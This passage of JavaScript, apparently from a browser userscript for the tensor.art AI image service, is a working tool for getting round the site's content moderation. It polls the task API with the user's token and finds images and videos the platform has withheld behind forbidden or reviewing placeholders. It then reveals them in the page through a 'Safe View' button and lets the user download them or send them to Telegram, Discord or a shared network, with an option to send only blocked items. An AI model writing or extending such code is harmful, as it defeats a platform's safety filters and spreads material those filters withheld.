}, announcement.injection.auto_hide_after);
}
}
function startTaskMonitoring() {
if (taskMonitorInterval || !settings.autoTaskDetection) return;
taskMonitorInterval = setInterval(async () => {
if (pendingTasks.size === 0) return;
const taskIds = Array.from(pendingTasks.keys());
if (taskIds.length === 0) return;
// Prefer listening via fetch interception, but also poll mget_task
// so we keep tracking until FINISH even if the page stops requesting.
if (Date.now() - lastMgetTaskSeenAt > 4000) {
await pollMgetTaskForPendingTasks();
}
// Cleanup stale tasks
for (const [taskId, taskInfo] of pendingTasks.entries()) {
if (Date.now() - taskInfo.startTime > 300000) { // 5 minutes timeout
if (domInjectDebug) console.log(`[TaskMonitor] Removing stale task ${taskId}`);
pendingTasks.delete(taskId);
}
}
}, 2000);
}
function stopTaskMonitoring() {
if (taskMonitorInterval) {
clearInterval(taskMonitorInterval);
taskMonitorInterval = null;
}
}
let lastMgetTaskSeenAt = 0;
let lastMgetTaskPollAt = 0;
let mgetTaskRequestMode = 'taskIds';
function normalizeTasksFromMgetTaskBody(body) {
const tasksObj = body?.data?.tasks;
if (!tasksObj || typeof tasksObj !== 'object') return [];
return Object.values(tasksObj).filter(Boolean);
}
async function handleMgetTaskBody(body, sourceLabel = 'mget_task') {
const tasks = normalizeTasksFromMgetTaskBody(body);
if (!tasks.length) return;
cacheTasks(tasks);
mergeTasksIntoItems(tasks, sourceLabel, { autoShow: settings.autoShowPanel, updateUIAfter: true });
// Update pending task tracker and trigger bypass/download when finished.
for (const taskData of tasks) {
const taskId = String(taskData?.taskId || '');
if (taskId && pendingTasks.has(taskId)) {
const info = pendingTasks.get(taskId) || {};
info.status = taskData?.status || info.status || 'WAITING';
info.lastSeenAt = Date.now();
if (typeof taskData?.processPercent === 'number') info.processPercent = taskData.processPercent;
pendingTasks.set(taskId, info);
if (taskData?.status === 'FINISH' || taskData?.status === 'FAILED' || taskData?.status === 'FAIL') {
pendingTasks.delete(taskId);
}
}
if (taskData?.status !== 'FINISH' || !Array.isArray(taskData?.items) || taskData.items.length === 0) continue;
for (const item of taskData.items) {
if (!isForbidden(item)) continue;
const imageId = item?.imageId;
if (!imageId || imageId === '0') continue;
// Ensure the final URL is cached (and optionally download via the queue).
try {
await ensureDownloadUrl(imageId, item?.mimeType || '');
} catch {
// ignore; queue or UI can retry
}
if (settings.autoDownload) {
const meta = getItemMetaFromId(imageId) || {};
enqueueTaskAction('download', imageId, meta, false);
}
}
}
}
async function pollMgetTaskForPendingTasks() {
if (!settings.autoTaskDetection) return;
if (pendingTasks.size === 0) return;
// Avoid polling on non-tensor.art domains.
if (!/tensor\.art$/i.test(window.location.hostname)) return;
const now = Date.now();
if (now - lastMgetTaskPollAt < 2500) return;
lastMgetTaskPollAt = now;
const taskIds = Array.from(pendingTasks.keys()).filter(Boolean);
if (!taskIds.length) return;
const token = await getToken();
if (!token) return;
const url = 'https://api.tensor.art/works/v1/works/mget_task';
const headers = {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`,
...settings.headers
};
const makeBody = (mode) => mode === 'ids' ? { ids: taskIds } : { taskIds };
try {
let resp = await originalFetch(url, {
method: 'POST',
headers,
body: JSON.stringify(makeBody(mgetTaskRequestMode))
});
// One-time fallback if the payload shape is different.
if (!resp.ok && mgetTaskRequestMode === 'taskIds') {
mgetTaskRequestMode = 'ids';
resp = await originalFetch(url, {
method: 'POST',
headers,
body: JSON.stringify(makeBody(mgetTaskRequestMode))
});
}
if (!resp.ok) return;
const data = await resp.json().catch(() => null);
if (!data) return;
lastMgetTaskSeenAt = Date.now();
await handleMgetTaskBody(data, 'mget_task (poll)');
} catch {
// ignore
}
}
function handleTasksResponse(body, sourceLabel) {
if (!body?.data?.tasks?.length) return;
const patched = patchTensorTasksQueryResponseBody({ data: { tasks: body.data.tasks } });
const tasks = patched.changed ? patched.body.data.tasks : body.data.tasks;
cacheTasks(tasks);
mergeTasksIntoItems(tasks, sourceLabel, { autoShow: settings.autoShowPanel, updateUIAfter: true });
}
async function injectBlockedMediaIntoDom(options = {}) {
if (settings.xhrInterceptEnabled) {
return;
}
const { forceBypass = false } = options;
const safeViewEnabled = settings.safeViewMode && !forceBypass;
const bypassDeferVideo = !forceBypass;
const scanId = ++domInjectScanCounter;
const scanStartedAt = Date.now();
const scanStats = {
roots: 0,
type1Cards: 0,
type1NoTaskId: 0,
type1NoTaskData: 0,
type1NoSlotHost: 0,
type1NoBlockedUi: 0,
type1MissingBypassUrl: 0,
type1SafeButtonsAdded: 0,
type1Injected: 0,
type2Panels: 0,
type2SkippedAlreadyHandled: 0,
type2NoTaskData: 0,
type2NoContainerOrSlots: 0,
type2NoInvalidOrBlocked: 0,
type2Injected: 0,
type2SafeButtonsAdded: 0,
templateCards: 0
};
console.log(`[InjectDOM][Scan#${scanId}] Start`, {
forceBypass,
safeViewEnabled,
injectOnDom: settings.injectOnDom,
safeViewMode: settings.safeViewMode,
taskMapSize: taskMap.size,
itemMapSize: itemMap.size,
href: window.location.href
});
const rootCandidates = [
document.querySelector('div.h-full.overflow-y-auto.pt-12.px-16.scroll-bar-base.bg-bg-on-primary'),
document.querySelector('div.h-full.flex.flex-col.overflow-y-auto.scroll-bar-base'),
document.querySelector('div.mt-24.overflow-x-hidden.overflow-y-auto.flex-1'),
document.querySelector('div.overflow-y-auto.flex-1'),
document.querySelector('div.border-stroke-secondary.border-1.rd-12.max-h-full.flex-1.flex.flex-col.overflow-hidden'),
document.querySelector('div.flex.flex-col.gap-24.my-20.px-12'),
document.body,
document.documentElement
].filter(Boolean);
const roots = [];
for (const candidate of rootCandidates) {
if (!roots.includes(candidate)) roots.push(candidate);
}
scanStats.roots = roots.length;
if (!roots.length) {
console.log(`[InjectDOM][Scan#${scanId}] No roots found`, {
triedSelectors: rootCandidates.length,
href: window.location.href
});
return;
}
const cacheSnapshot = loadCache();
const cachedTasks = Array.isArray(cacheSnapshot?.tasks) ? cacheSnapshot.tasks : [];
// Helper function to add Telegram section
const addTelegramSection = (slot, itemImageId, taskId, createdAt) => {
if (!settings.telegramEnabled || !settings.telegramChatId) return;
let telegramSection = slot.querySelector('[data-bypass-telegram-section]');
if (telegramSection) return; // Already added
telegramSection = document.createElement('div');
telegramSection.setAttribute('data-bypass-telegram-section', 'true');
telegramSection.style.cssText = `
margin-top: 12px;
padding: 12px;
background: linear-gradient(135deg, rgba(0, 136, 204, 0.1), rgba(0, 136, 204, 0.05));
border: 1px solid rgba(0, 136, 204, 0.3);
border-radius: 8px;
display: flex;
align-items: center;
gap: 8px;
`;
const label = document.createElement('span');
label.style.cssText = `
font-size: 12px;
font-weight: 600;
color: #0088cc;
flex: 1;
`;
label.innerHTML = '<i class="fab fa-telegram"></i> Send to Telegram';
const button = document.createElement('button');
button.style.cssText = `
background: linear-gradient(135deg, #0088cc, #005fa3);
color: white;
border: none;
padding: 6px 12px;
border-radius: 6px;
cursor: pointer;
font-size: 12px;
font-weight: 600;
transition: all 0.3s ease;
`;
button.innerHTML = '<i class="fas fa-paper-plane"></i> Send';
button.onmouseover = () => {
button.style.transform = 'translateY(-2px)';
button.style.boxShadow = '0 6px 16px rgba(0, 136, 204, 0.4)';
};
button.onmouseout = () => {
button.style.transform = 'translateY(0)';
button.style.boxShadow = 'none';
};
button.onclick = async () => {
button.disabled = true;
button.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
try {
const meta = getItemMetaFromId(itemImageId) || {};
const mimeType = meta.mimeType || '';
const downloadUrl = await ensureDownloadUrl(itemImageId, mimeType);
if (downloadUrl) {
const result = await sendToTelegram(downloadUrl, mimeType || 'image/*', taskId, createdAt, '', itemImageId, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (result?.ok) {
alert(result.mode === 'url' ? 'URL sent to Telegram.' : 'Sent to Telegram.');
} else {
alert(`Failed to send: ${result?.error || 'Unknown error'}`);
}
}
} catch (err) {
alert(`Error: ${err.message}`);
}
button.disabled = false;
button.innerHTML = '<i class="fas fa-paper-plane"></i> Send';
};
telegramSection.appendChild(label);
telegramSection.appendChild(button);
slot.appendChild(telegramSection);
attachInjectedHelpTooltip(button, 'Send this blocked media to your Telegram chat.');
};
const addStatusOverlay = (slot, imageId) => {
if (!slot || !imageId) return;
const existing = slot.querySelector('[data-bypass-status-overlay]');
if (existing) return;
slot.classList.add('bypass-status-wrap');
const overlay = document.createElement('div');
overlay.className = 'bypass-status-overlay';
overlay.setAttribute('data-bypass-status-overlay', 'true');
overlay.setAttribute('data-bypass-image-id', imageId);
const icons = renderStatusIcons(imageId);
overlay.innerHTML = icons || '<i class="fas fa-circle" title="No status"></i>';
slot.appendChild(overlay);
};
const addBypassedLinkRow = async (slot, item) => {
if (!settings.showBypassedLink || !slot || !item?.imageId) return;
// Link row has been moved into the task Download panel.
// Remove any old absolute overlays if they exist.
slot.querySelectorAll('[data-bypass-link-row]').forEach(el => el.remove());
};
const addCopyMenuButton = (containerEl) => {
// Don't add copy menu on template pages - they have dedicated bypassed link row
if (isTemplateLikePage()) return;
if (!containerEl || !settings.enableCopyBypassedLinks || !settings.copyInjectOnPage) return;
if (containerEl.querySelector('[data-bypass-copy-menu]')) return;
const wrap = document.createElement('div');
wrap.setAttribute('data-bypass-copy-menu', 'true');
wrap.style.cssText = 'position:relative;';
const trigger = document.createElement('button');
trigger.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
trigger.style.cssText = 'display:flex;align-items:center;justify-content:center;width:40px;height:40px;';
trigger.title = 'Copy bypassed links';
trigger.innerHTML = '<i class="fas fa-copy"></i>';
const menu = document.createElement('div');
const menuBg = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-bg-primary') || '#0f172a' : '#0f172a';
const menuBorder = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-stroke-secondary') || '#475569' : '#475569';
menu.style.cssText = `display:none;position:absolute;right:0;top:46px;z-index:99999;background:${menuBg};border:1px solid ${menuBorder};border-radius:8px;min-width:180px;padding:6px;box-shadow:0 12px 24px rgba(0,0,0,0.4);`;
const addMenuItem = (label, format) => {
const b = document.createElement('button');
b.type = 'button';
b.textContent = label;
const textColor = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-text-secondary') || '#e2e8f0' : '#e2e8f0';
const hoverBg = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-fill-secondary') || '#1e293b' : '#1e293b';
b.style.cssText = `display:block;width:100%;text-align:left;background:transparent;border:none;color:${textColor};padding:8px;border-radius:6px;cursor:pointer;font-size:12px;`;
b.onmouseenter = () => b.style.background = hoverBg;
b.onmouseleave = () => b.style.background = 'transparent';
b.onclick = async (e) => {
e.stopPropagation();
menu.style.display = 'none';
try {
await copyBypassedLinks(format);
} catch (err) {
alert(`Copy failed: ${err.message}`);
}
};
menu.appendChild(b);
};
addMenuItem('Copy all as Text', 'text');
addMenuItem('Copy all as JSON', 'json');
addMenuItem('Copy all as XML', 'xml');
addMenuItem('Copy all as HTML', 'html');
trigger.onclick = (e) => {
e.stopPropagation();
menu.style.display = menu.style.display === 'none' ? 'block' : 'none';
};
document.addEventListener('click', () => {
menu.style.display = 'none';
});
wrap.appendChild(trigger);
wrap.appendChild(menu);
containerEl.appendChild(wrap);
};
const getTensorButtonClass = (type = 'primary') => {
const anySiteBtn = document.querySelector('button.n-button');
const baseClass = (anySiteBtn && anySiteBtn.className) || '__button-dark-njtao5-blmme n-button n-button--medium-type n-button--ghost';
const cleaned = baseClass
.split(/\s+/)
.filter(Boolean)
.filter(c => !/^n-button--(primary|success|warning|error|info)-type$/.test(c))
.join(' ');
return `${cleaned} n-button--${type}-type`;
};
const findTaskIdForContainer = (container) => {
if (!container) return null;
const direct = container.getAttribute('data-bypass-task-id');
if (direct) return direct;
const ancestors = [
container.closest('div.min-h-100'),
container.closest('div.bg-bg-primary'),
container.closest('section'),
container.parentElement
].filter(Boolean);
for (const root of ancestors) {
const header = root.querySelector('h3.c-text-secondary');
const headerId = extractTaskIdFromHeaderText(header?.textContent || '');
if (headerId) return headerId;
const textNodes = root.querySelectorAll('h3, h4, span, div, p');
for (const node of textNodes) {
const text = node?.textContent || '';
if (!text.includes('ID:')) continue;
const id = extractTaskIdFromHeaderText(text);
if (id) return id;
}
}
return null;
};
const findAssociatedMediaContainer = (startEl, fallbackRoot = null) => {
if (!startEl) return null;
const seen = new Set();
const inspectCandidate = (candidate) => {
if (!(candidate instanceof HTMLElement) || seen.has(candidate)) return null;
seen.add(candidate);
const directSlotMatch = candidate.matches('div.space-y-12')
&& candidate.querySelector('div.relative.group.h-auto.min-h-0.w-full');
if (directSlotMatch) return candidate;
const directMediaGrid = candidate.matches('div.mt-12.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-8')
&& getMediaSlots(candidate).length;
if (directMediaGrid) return candidate;
const childCandidates = Array.from(candidate.children || []);
for (const child of childCandidates) {
if (!(child instanceof HTMLElement)) continue;
if (child.matches('div.space-y-12') && child.querySelector('div.relative.group.h-auto.min-h-0.w-full')) {
return child;
}
if (child.matches('div.mt-12.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-8') && getMediaSlots(child).length) {
return child;
}
}
return null;
};
let current = startEl instanceof HTMLElement ? startEl : null;
const stopAt = fallbackRoot instanceof HTMLElement ? fallbackRoot : null;
while (current) {
let sibling = current.nextElementSibling;
while (sibling) {
const found = inspectCandidate(sibling);
if (found) return found;
sibling = sibling.nextElementSibling;
}
if (current === stopAt) break;
current = current.parentElement;
}
if (stopAt) {
return inspectCandidate(stopAt);
}
return null;
};
const getTaskMediaItems = (taskData) => {
const items = Array.isArray(taskData?.items) ? taskData.items : [];
return items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
};
const findTensorNativeActionRow = (root) => {
if (!root) return null;
const interactiveEls = Array.from(root.querySelectorAll('button, [role="button"]'));
const match = interactiveEls.find((el) => /publish|download|dislike/i.test(String(el.textContent || '').trim()));
if (!match) return null;
let current = match.parentElement;
while (current && current !== root) {
const directInteractiveChildren = Array.from(current.children || []).filter((child) => {
if (!(child instanceof HTMLElement)) return false;
if (child.matches('button, [role="button"]')) return true;
return !!child.querySelector('button, [role="button"]');
});
const combinedText = directInteractiveChildren.map((child) => String(child.textContent || '').trim()).join(' ');
if (directInteractiveChildren.length >= 2 && /publish|download|dislike/i.test(combinedText)) {
return current;
}
current = current.parentElement;
}
return match.parentElement || null;
};
const addTensorQuickQueueButtons = (root, taskData, taskId) => {
if (!root || !taskData) return false;
const canTelegram = !!settings.tensorInjectTelegramButtons && !!settings.telegramEnabled && !!settings.telegramToken && !!settings.telegramChatId;
const canDiscord = !!settings.tensorInjectDiscordButtons && !!settings.discordEnabled && !!settings.discordWebhook;
if (!canTelegram && !canDiscord) return false;
const items = getTaskMediaItems(taskData);
if (!items.length) return false;
const actionRow = findTensorNativeActionRow(root);
if (!actionRow) return false;
const key = String(taskData?.taskId || taskId || taskData?.routeId || '').trim();
if (!key) return false;
const existing = actionRow.querySelector(`[data-bypass-tensor-quick-actions="${key}"]`);
if (existing) return true;
const quickWrap = document.createElement('div');
quickWrap.setAttribute('data-bypass-tensor-quick-actions', key);
quickWrap.style.cssText = 'display:inline-flex; align-items:center; gap:8px; flex-wrap:wrap; margin-left:8px;';
const queueItems = (action, platformLabel) => {
const allowDuplicate = !settings.preventDuplicateTasks;
let queued = 0;
items.forEach((item) => {
if (!item?.imageId) return;
enqueueTaskAction(action, item.imageId, getItemMetaFromId(item.imageId), allowDuplicate);
queued += 1;
});
if (!queued) {
showToast(`No media found to queue for ${platformLabel}.`, 'warning');
return;
}
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
updateTaskActionPanelsStatus();
freeInternetConsoleLog('Tensor', 'success', `Queued ${queued} task media item(s) to ${platformLabel}`, {
taskId: taskData?.taskId || taskId || null,
routeId: taskData?.routeId || null,
action,
items: queued,
source: 'native-hover-action'
});
showToast(`Queued ${queued} item(s) to ${platformLabel}`, 'success');
};
const makeBtn = (platform) => {
const isTelegram = platform === 'telegram';
const btn = document.createElement('button');
btn.type = 'button';
btn.setAttribute('data-bypass-tensor-quick-btn', platform);
btn.style.cssText = `
display:inline-flex;
align-items:center;
gap:6px;
padding:6px 10px;
border-radius:999px;
border:1px solid ${isTelegram ? 'rgba(0, 136, 204, 0.45)' : 'rgba(88, 101, 242, 0.45)'};
background:${isTelegram ? 'rgba(0, 136, 204, 0.14)' : 'rgba(88, 101, 242, 0.14)'};
color:${isTelegram ? '#8ed9ff' : '#c7d2fe'};
font-size:11px;
font-weight:700;
cursor:pointer;
white-space:nowrap;
transition:transform 0.16s ease, filter 0.16s ease, border-color 0.16s ease;
`;
btn.innerHTML = `<i class="${isTelegram ? 'fab fa-telegram' : 'fab fa-discord'}"></i> ${isTelegram ? 'Telegram' : 'Discord'}`;
btn.onmouseenter = () => {
btn.style.transform = 'translateY(-1px)';
btn.style.filter = 'brightness(1.08)';
};
btn.onmouseleave = () => {
btn.style.transform = 'translateY(0)';
btn.style.filter = 'none';
};
btn.onclick = (event) => {
event.preventDefault();
event.stopPropagation();
hideActiveInjectedTooltip();
hideActiveBlockedTooltip();
queueItems(platform, isTelegram ? 'Telegram' : 'Discord');
};
attachInjectedHelpTooltip(btn, `Queue every media item from this task to ${isTelegram ? 'Telegram' : 'Discord'}.`);
return btn;
};
if (canTelegram) quickWrap.appendChild(makeBtn('telegram'));
if (canDiscord) quickWrap.appendChild(makeBtn('discord'));
if (!quickWrap.childElementCount) return false;
actionRow.appendChild(quickWrap);
return true;
};
const getBlockedTaskItems = (taskData) => {
const mediaItems = getTaskMediaItems(taskData);
const blocked = mediaItems.filter(item => {
const rawUrl = String(item?.url || '');
return item?.invalid === true || /forbidden\.jpg|reviewing\.png/i.test(rawUrl);
});
const ranked = (blocked.length ? blocked : mediaItems).slice().sort((a, b) => {
const aScore = (a?.invalid ? 2 : 0) + (getCachedDownloadUrl(a?.imageId || '', a?.mimeType || '') ? 1 : 0);
const bScore = (b?.invalid ? 2 : 0) + (getCachedDownloadUrl(b?.imageId || '', b?.mimeType || '') ? 1 : 0);
if (aScore !== bScore) return bScore - aScore;
return String(a?.imageId || '').localeCompare(String(b?.imageId || ''));
});
// Fallback: if moderation flags are missing, use all media items so Safe View buttons still work.
return ranked;
};
const addTaskCompactActionsPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
if (!anchorEl) return false;
const key = taskData?.taskId || taskId || '';
const existing = anchorEl.querySelector(`[data-bypass-task-actions="${key}"]`);
if (existing) return true;
const panel = document.createElement('div');
panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
panel.style.position = 'relative';
panel.setAttribute('data-bypass-task-actions', key);
const header = document.createElement('div');
header.className = 'flex-c-sb';
const title = document.createElement('h3');
title.className = 'text-16 c-text-primary fw-600';
title.innerHTML = '<i class="fas fa-layer-group" style="margin-right: 6px;"></i> Task Actions';
const statusWrap = document.createElement('div');
statusWrap.className = 'flex-c gap-4';
const statusText = document.createElement('span');
statusText.className = 'text-12 c-text-tertiary';
statusText.setAttribute('data-bypass-task-action-status', key);
statusText.textContent = 'Ready';
statusWrap.appendChild(statusText);
header.appendChild(title);
header.appendChild(statusWrap);
const actionsRow = document.createElement('div');
actionsRow.className = 'flex-c gap-8';
const invalidItems = getBlockedTaskItems(taskData);
const allItems = getTaskMediaItems(taskData);
const enqueueItems = (items, action) => {
const allowDuplicate = !settings.preventDuplicateTasks;
items.forEach(item => enqueueTaskAction(action, item.imageId, getItemMetaFromId(item.imageId), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
updateTaskActionPanelsStatus();
};
const makeIconBtn = (icon, title, onClick, onRightClick) => {
const btn = document.createElement('button');
btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
btn.style.cssText = 'display:flex; align-items:center; justify-content:center; width:40px; height:40px;';
btn.title = title;
btn.innerHTML = `<i class="${icon}"></i>`;
btn.onclick = (e) => {
e.stopPropagation();
hideActiveInjectedTooltip();
hideActiveBlockedTooltip();
onClick();
};
btn.addEventListener('contextmenu', (e) => {
if (!onRightClick) return;
e.preventDefault();
e.stopPropagation();
onRightClick();
});
attachInjectedHelpTooltip(btn, title);
return btn;
};
if (settings.telegramEnabled && settings.telegramChatId) {
actionsRow.appendChild(makeIconBtn('fab fa-telegram', 'Send all to Telegram', () => enqueueItems(allItems, 'telegram'), () => enqueueItems(invalidItems, 'telegram')));
}
if (settings.discordEnabled && settings.discordWebhook) {
actionsRow.appendChild(makeIconBtn('fab fa-discord', 'Send all to Discord', () => enqueueItems(allItems, 'discord'), () => enqueueItems(invalidItems, 'discord')));
}
if (settings.sharedNetworkEnabled) {
actionsRow.appendChild(makeIconBtn(
'fas fa-network-wired',
'Send all to Shared Network',
() => {
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
sharedNetSendTaskNow(key, taskData, 'injected-task-actions')
.then(() => showToast('Shared Network: sent task', 'success'))
.catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
},
() => {
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
sharedNetSendItemsNow(invalidItems, 'injected-task-actions-blocked')
.then(() => showToast('Shared Network: sent blocked items', 'success'))
.catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
}
));
}
actionsRow.appendChild(makeIconBtn('fas fa-download', 'Download all', () => enqueueItems(allItems, 'download'), () => enqueueItems(invalidItems, 'download')));
const safeViewBtn = makeIconBtn('fas fa-eye', 'Safe View (reveal all)', async () => {
const panelRoot = anchorEl.closest('div.bg-bg-primary') || anchorEl;
const spaceContainer = findAssociatedMediaContainer(insertBeforeEl || anchorEl, panelRoot)
|| panelRoot.querySelector('div.space-y-12')
|| panelRoot.querySelector('div.mt-12.flex.flex-wrap.gap-12')
|| panelRoot;
const mediaSlots = getMediaSlots(spaceContainer);
const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
await injectItemIntoSlot(blockedSlots[i], invalidItems[i], taskData, taskId, { deferVideo: false });
}
});
safeViewBtn.addEventListener('mouseenter', hideActiveBlockedTooltip);
safeViewBtn.addEventListener('click', hideActiveBlockedTooltip);
actionsRow.appendChild(safeViewBtn);
panel.appendChild(header);
panel.appendChild(actionsRow);
// Add bypassed link row on template pages
if (isTemplateLikePage() && allItems.length > 0 && settings.showBypassedLink) {
(async () => {
const bypassedUrls = [];
const isBlockedPreviewUrl = (u) => /forbidden\.jpg|reviewing\.png/i.test(String(u || ''));
for (const item of allItems) {
const normalized = {
id: item?.imageId,
url: item?.url,
mimeType: item?.mimeType,
type: getItemType(item?.mimeType)
};
const candidate = normalized.url && !isBlockedPreviewUrl(normalized.url)
? normalized.url
: await withTimeout(getPreviewUrlForItem(normalized), 5000).catch(() => null);
if (candidate && !isBlockedPreviewUrl(candidate)) {
bypassedUrls.push(candidate);
// Important: make this URL discoverable by Shared Network exports.
try {
const kind = getMediaKindFromMime(item?.mimeType || '');
setCachedDownloadUrl(String(item?.imageId || normalized.id), candidate, item?.mimeType || '', kind === 'video' ? 'video' : '');
} catch {}
}
}
if (bypassedUrls.length > 0) {
const existingRow = panel.querySelector('[data-bypass-link-row]');
if (existingRow) existingRow.remove();
const linkRow = document.createElement('div');
linkRow.setAttribute('data-bypass-link-row', 'true');
linkRow.style.cssText = 'margin-top:8px;background:rgba(15,23,42,0.78);border:1px solid rgba(99,102,241,0.35);border-radius:8px;padding:6px 8px;font-size:10px;color:rgb(226,232,240);display:flex;gap:6px;align-items:center;';
const text = document.createElement('div');
text.style.cssText = 'flex:1 1 0;min-width:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:monospace;';
text.textContent = bypassedUrls[0];
const openBtn = document.createElement('button');
openBtn.type = 'button';
openBtn.title = 'Open bypassed URL';
openBtn.style.cssText = 'border:none;background:rgb(99,102,241);color:rgb(255,255,255);border-radius:6px;padding:4px 6px;cursor:pointer;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i>';
openBtn.onclick = (e) => {
e.stopPropagation();
window.open(bypassedUrls[0], '_blank');
};
const copyBtn = document.createElement('button');
copyBtn.type = 'button';
copyBtn.title = 'Copy bypassed URL';
copyBtn.style.cssText = 'border:none;background:rgb(51,65,85);color:rgb(255,255,255);border-radius:6px;padding:4px 6px;cursor:pointer;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i>';
copyBtn.onclick = async (e) => {
e.stopPropagation();
await navigator.clipboard.writeText(bypassedUrls[0]);
};
const deleteBtn = document.createElement('button');
deleteBtn.type = 'button';
deleteBtn.title = 'Delete this task from cache (Permanent / Regainable / Hide)';
deleteBtn.style.cssText = 'border:none;background:rgb(127,29,29);color:rgb(255,255,255);border-radius:6px;padding:4px 6px;cursor:pointer;';
deleteBtn.innerHTML = '<i class="fas fa-trash"></i>';
deleteBtn.onclick = (e) => {
e.stopPropagation();
hideActiveInjectedTooltip();
hideActiveBlockedTooltip();
showDeleteCacheDialog(key);
};
linkRow.appendChild(text);
linkRow.appendChild(openBtn);
linkRow.appendChild(copyBtn);
linkRow.appendChild(deleteBtn);
panel.appendChild(linkRow);
}
})();
}
if (insertBeforeEl && insertBeforeEl.parentElement) {
insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
} else {
anchorEl.appendChild(panel);
}
updateTaskActionPanelsStatus();
return true;
};
const addTaskTelegramPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
if (isTemplateLikePage()) {
addTaskCompactActionsPanel(anchorEl, taskData, taskId, insertBeforeEl);
return;
}
if (!settings.telegramEnabled || !settings.telegramChatId || !settings.telegramToken) return;
if (!anchorEl) return;
const key = taskData?.taskId || taskId || '';
const existing = anchorEl.querySelector(`[data-bypass-task-telegram="${key}"]`);
if (existing) return;
const panel = document.createElement('div');
panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
panel.setAttribute('data-bypass-task-telegram', key);
const header = document.createElement('div');
header.className = 'flex-c-sb';
header.innerHTML = `
<h3 class="text-16 c-text-primary fw-600"><i class="fab fa-telegram" style="margin-right: 6px;"></i> Telegram</h3>
<div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Send all media for this task</span></div>
`;
const statusRow = document.createElement('div');
statusRow.className = 'flex-c gap-8';
statusRow.style.justifyContent = 'space-between';
statusRow.style.alignItems = 'center';
const statusText = document.createElement('div');
statusText.className = 'text-12 c-text-tertiary';
statusText.textContent = 'Ready to send.';
const retryBtn = document.createElement('button');
retryBtn.type = 'button';
retryBtn.tabIndex = 0;
retryBtn.className = getTensorButtonClass('warning');
retryBtn.style.cssText = 'padding: 4px 10px; font-size: 12px; display: none;';
retryBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
statusRow.appendChild(statusText);
statusRow.appendChild(retryBtn);
const toggleRow = document.createElement('label');
toggleRow.className = 'flex-c gap-8 text-12 c-text-tertiary';
toggleRow.style.cursor = 'pointer';
const onlyBlockedInput = document.createElement('input');
onlyBlockedInput.type = 'checkbox';
onlyBlockedInput.style.cssText = 'cursor: pointer; width: 16px; height: 16px;';
toggleRow.appendChild(onlyBlockedInput);
toggleRow.appendChild(document.createTextNode('Send only blocked items'));
const list = document.createElement('div');
list.className = 'space-y-4';
list.style.display = 'none';
const buttonRow = document.createElement('div');
buttonRow.className = 'flex-c gap-8';
const sendBtn = document.createElement('button');
sendBtn.type = 'button';
sendBtn.tabIndex = 0;
sendBtn.className = getTensorButtonClass('default');
sendBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-paper-plane" style="margin-right: 6px;"></i> Send all to Telegram</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
const rowMap = new Map();
let lastFailedItems = [];
const ensureRow = (item) => {
if (!item?.imageId) return null;
let row = rowMap.get(item.imageId);
if (row) return row;
row = document.createElement('div');
row.className = 'flex-c-sb';
const left = document.createElement('div');
left.className = 'flex-c gap-6';
const idText = document.createElement('span');
idText.className = 'text-12 c-text-secondary';
idText.textContent = item.imageId;
const typeText = document.createElement('span');
typeText.className = 'text-12 c-text-tertiary';
typeText.textContent = item.mimeType?.startsWith('video/') ? 'Video' : 'Image';
left.appendChild(idText);
left.appendChild(typeText);
const statusBadge = document.createElement('span');
statusBadge.className = 'text-12 c-text-tertiary';
statusBadge.textContent = 'Queued';
row.appendChild(left);
row.appendChild(statusBadge);
list.appendChild(row);
rowMap.set(item.imageId, statusBadge);
return statusBadge;
};
const setRowStatus = (itemId, text) => {
const badge = rowMap.get(itemId);
if (badge) badge.textContent = text;
};
const buildCandidates = () => {
const items = Array.isArray(taskData?.items) ? taskData.items : [];
let mediaItems = items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
if (onlyBlockedInput.checked) {
mediaItems = mediaItems.filter(item => item?.invalid === true);
}
return mediaItems;
};
const sendItems = async (itemsToSend, isRetry = false) => {
const unique = [];
const seen = new Set();
for (const item of itemsToSend) {
if (!item?.imageId || seen.has(item.imageId)) continue;
seen.add(item.imageId);
unique.push(item);
}
if (!unique.length) {
